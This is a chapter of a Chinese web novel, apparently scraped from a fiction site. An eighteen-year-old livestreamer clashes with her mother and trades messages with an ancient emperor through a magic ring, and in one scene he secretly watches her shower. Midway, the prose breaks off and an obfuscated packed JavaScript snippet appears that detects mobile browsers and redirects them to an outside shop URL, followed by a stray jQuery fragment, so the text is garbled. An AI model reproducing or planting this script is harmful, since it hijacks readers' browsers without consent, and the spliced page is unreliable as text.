文趣网 > 其他小说 > 暴君是我榜一大哥 > 5. 隔墙有耳
    醒舒吓了一跳。

    “吓!”

    “妈你怎么还没睡?”

    洪素英站起来,啪一声把灯打开。“你去哪里了?”

    醒舒咽了咽口水,定定看着她:

    “就火锅店啊。同事请我吃宵夜,我就回来得晚了一些。”

    “哪个同事?”

    “你小一点声,我们上楼去说。”

    “什么同事?我怎么没听你说过?什么宵夜要吃到凌晨两点?”洪素英步步紧逼。

    醒舒吓得直摆手,不停的回头张望,让她小声一点。“我不是有给你发信息吗?我们上楼去说,去我房间里说。”

    “醒舒你真是有本事了,你知道现在几点了吗?我今天就是故意不给你打电话,想看看你到底是要几点回来,你真行啊!翅膀硬了是不是?”

    洪素英拿起手机,怼过来:

    “我给你回可以了吗?经过我同意了吗?你现在是先斩后奏啊!长辈没同意,你就自作主张要夜不归宿了!以后是不是事事都要自己做主了?”

    她的嗓门一次比一次大,恨不得所有人都听到似的。

    “我昨天...我昨天赚了钱,带我的那个运营姐姐就请我吃夜宵想给我庆祝一下,我也顺便跟她说辞职的事情,所以就...”

    “你赚钱?你赚什么钱?一晚上你能赚多少钱?”

    莫了,洪素英一顿,随即冲过来扒拉女儿的衣服。

    “妈你干嘛!”醒舒吓得浑身发抖,“你别!你干嘛啊!”她双手死死拽住自己的衣服,不断回头看着紧闭的房间门。

    洪素英满脸惊恐,大力去掀女儿轻薄的衣料,丝毫不管不顾家里其他男人会出来的可能,就在厅里直接上手了。

    “你是不是干小姐了!你是不是去做小姐了!!”

    洪素英像发疯似的,分贝又高了一些。

    “我没有!我是运气好有人给我刷了礼物!”醒舒急得眼泪往外涌出,抖着手调出后台摆在洪素英面前。“我证明给你看,我证明给你看!”

    “有人给我刷礼物的,我没有去干乱七八遭的事。”

    洪素英收回手,盯着屏幕上的后台收益看了良久。

    恰时,李思乔的信息也弹了出来————“到家了吗?”

    “谁大半夜的给你发信息?”洪素英伸手夺过,像是不相信女儿的话一般,自作主张的点开了信息查看。

    “以后要发个视频给我报备。”

    洪素英看完,一句道歉也没有,头也不回的进了那扇紧闭的房门。

    醒舒浑身战栗,待在厅里久久不能回神,上阁楼前,她连哭都不敢漏声,乖乖的把电灯拉下。

    阁楼里漆黑一片,因为不透风的关系,散着一股子东西发酵的霉味,她把地上洪素英收起来的纸皮踹到一边,贴着乱七八糟的杂物进了房间。

    房间里更是闷热异常,没有空调,她坐在床上开了那台破电扇,就着发动机的噪音小声抽泣起来。

    【叮咚——】

    手机里又弹出信息,醒舒吸了吸鼻子去看,微信列表里,李思乔没有发新的信息来。那就是...

    “为何已阅不答。”

    醒舒盯着屏幕上的二字ID,一瞬间到达瓶颈的委屈忍不住宣泄出来,她愤恨的在手机上用力敲下:

    “?”

    薛现去调阅了后宫所有品阶妃嫔的名字,尽都找不到玄清帝说所的女子。

    可此人明明说过自己是后宫中的一位,难不成是不愿透露,更换了假名讳?风峥想要忽视,但越想越不痛快。

    从来都是别人看他脸色,他又何曾被人这么冷落在旁?

    实在按耐不住,还是开口询问了。

    此刻,风峥看着回复却皱了皱眉头,这个镰刀钩是什么意思?

    不等他问,屏幕上,“你叫我回我就得回?”紧随其后。

    风峥沉思片刻,连续两次出现这个钩子,或许是某种特定的言语,一定代表着什么特殊意义。

    “是。”

    醒舒看着,委屈被抛诸脑后,取而代之的是无语。

    “你别以为刷几个钱就真把自己当大爷了,如果你学不会什么叫尊重,那就告辞吧!拉黑了。”噼里啪啦打完一段话发送,醒舒就把账号拖进黑名单里。

    奇怪的是,点击将此用户加入黑名单时,手机就会卡顿一下,然后软件闪退出页面。重复试了几次,空白头像还是高悬在页面顶上。

    完全挑衅来的。

    风峥看着新浮现出的文字,他虽不懂刷几个钱和拉黑是什么意思,但告辞还是明白的,对方是要跟自己诀别。

    “告辞是为何。”

    醒舒还在尝试拉黑,阁楼里闷热得跟盛暑天的似的,窗外的流浪狗翻不到吃食,在楼底下嗷嗷直叫,纱窗都没有的房间,蚊子闻着气味进来,皮肤上很快肿起一个小鼓包,痒得厉害。

    身上十分黏腻,在试验拉黑第不知道多少次后,醒舒放弃了。折腾到大半夜,连澡都没洗,浑身上下全是火锅的味道,在屋子里闷了一会出了些薄汗,辣油味更重。

    手机被扔在床上,拿了浴巾就去洗漱。

    不知是被气昏了头还是热晕了————外婆交代的,扳指不能碰水的话,她也给忘得一干二净。

    水从头顶洒下来,醒舒站在底下,温凉的水打湿发梢,顺着红绳包裹住那只白玉扳指,水花喷溅在透明的浴帘上,少女的身姿若影若现。

    风峥等了许久也不见对方回话,连已阅都没有,他只得细细琢磨着刷几个钱和拉黑是何意味,想找到其中的关窍。

    床幔上却大放异彩,他眯着眼眸看去,瞳孔瑟缩——

    隔着一道似白又不似的布帘,玲珑的背影显现,虽有些模糊不能看清,却能见乌黑秀发贴着雪白的肌肤,顺着陡峭的方向描绘,又顺着水流平躺下来。

    醒舒按了几泵洗发露,用力的抓洗头发,力道大得整个人也跟着晃动。

    她讨厌吃火锅烤肉就是因为这个,每次从店里出来就好像被腌制了一般,浑身上下全是这个味道,也不臭,只是有人挨近一点说话,都会来一句:“你晚上吃火锅啦?”

    从卫生间里出来,她才觉得整个人像活过来一般,直到看到镜子,醒舒才惊觉自己忘记把扳指摘下来了。

    这不能碰水的。

    她连忙把扳指摘下来擦干净,仔仔细细的检查有没有被水泡坏了。

    画面陡然消失,最后一帧恰停在小巧的双手拉拽脖颈处的红绳上。

    拇指上的扳指再度失温了。

    床幔里微弱的亮光消失得无影无踪,雾凇青般的瞳孔压沉下来,漆黑一片。

    可那纤细雪白的脖颈还有窈窕的背影像回马灯一般不断烙印在脑海之,久久不能挥散而去。

    风峥仰靠在枕上,玩味一笑。

    拇指上的白玉扳指沁凉,他捏在指腹处轻轻转动,玉石天生坚硬,在指尖的触碰下竟有些湿凉,玉逐渐温暾起来。

    早知如此,就不该让薛御侍将人领到偏殿去了。省得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766849|209734||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    此刻,只能望梅止渴,自力更生了。

    醒舒反复擦拭着扳指,举在白炽灯下细看,上头好似有条细痕,又好像是以前就有的,一时,她也分不清了。

    雨滴砸在挡雨棚上,啪嗒啪嗒。紧接着,豆大的雨点密密麻麻的从空中径直往下掉落,有塑料棚做扩声,更加嘈杂。

    有点雨飘进来了,洒在地上形成一小块透明水渍。小阁楼里,床上桌摊着本笔记,上面记着许多店铺的岗位,密密麻麻。

    醒舒趴在桌上,手机一震:

    “您的经历跟我们的需求不太匹配,祝您早日找到合适的工作。”

    盯着那行字看了两秒,她把手机扣在桌上,头埋进胳膊里。

    半夜的雨下到早上,屋里的气温没有那么湿热了,但后颈还是沁了一层薄汗,红绳贴着皮肤的那处,有点潮。

    醒舒深吸一口气,把手机翻回来,滑到下一个招聘信息。一个字一个字认真地打过去:“您好,还在招工吗?没有经验,但我可以学,我学东西很快的。”

    对方几乎秒回:“你几岁了呢?”

    “十八。”

    “不好意思哦,我们这边需要长期的,不招暑假工哈!”

    “我不是暑假工,我是做长期的。”

    尽管这样解释了,对方依旧不予回复。

    “醒舒!”

    楼下传来洪素英的声音,从楼梯口往上喊。

    “诶!”她拉开门缝,应了一声。

    “下来了!别在上面躲着!”

    “哦——”

    醒家租的是一楼带店面的民房。

    一楼的铺面不大,左右两边塞满了各种小家电的零件和旧电器,墙上挂着“醒记家电维修”的牌子,深蓝色的底,白字早已生锈褪成灰黄色。

    二楼才是醒家,客厅连着厨房一起,旁边就是卫生间,还有醒父醒母以及弟弟醒尧的房间。

    洪素英坐在厨房门口的小马扎上,弯着腰折一把荷兰豆。高压锅在炉灶上滋滋冒气,参片鸡汤的香味溢出来。

    “妈,今天喝鸡汤啊?”

    “你弟念了好几天了,说学校食堂的菜不好吃,瘦了几斤。”

    醒舒没接话,在她对面坐下,抓起一把豆子开始掐。掐到一根筋连着扯不断的,用了点力一拽,豆角‘啪’地断了。

    “工作找得怎么样了?”洪素英手里忙着,头也没抬。

    “没动静。”

    “怎么会找这么久找不到?你态度好一点,说自己什么都愿意学,肯吃苦,人家怎么会不要你?”

    醒舒低头掐着豆子,没应声。

    荷兰豆的筋被她扯得干干净净,一根一根码在盆里,整整齐齐。可细看,底下有好些已经被折断了。

    隔着一扇门,弟弟醒尧的屋子静悄悄的。

    醒舒知道那房里是什么——一张一米五的床,配套的学习书桌,去年夏天刚装的空调和新电脑。

    而她的房间是原先当做杂物间的阁楼,只有张旧床板,二手淘来的风扇,和一扇关不严的窗。

    门把手转动,洪素英立刻放下手里的菜起身过去:“怎么醒了?是不是妈妈讲话吵到你了?”

    醒尧打着哈欠出来,头发乱糟糟的,眼睛没睁开就晃进了卫生间,门虚虚掩着,也不关。

    手里最后一根豆子掐完,醒舒也站起来。塑料拖鞋踩在木楼梯上,咯吱咯吱的。

    楼下,洪素英还在絮絮叨叨地说话:“你昨天不是说想吃红烧排骨吗?妈晚上给你做…”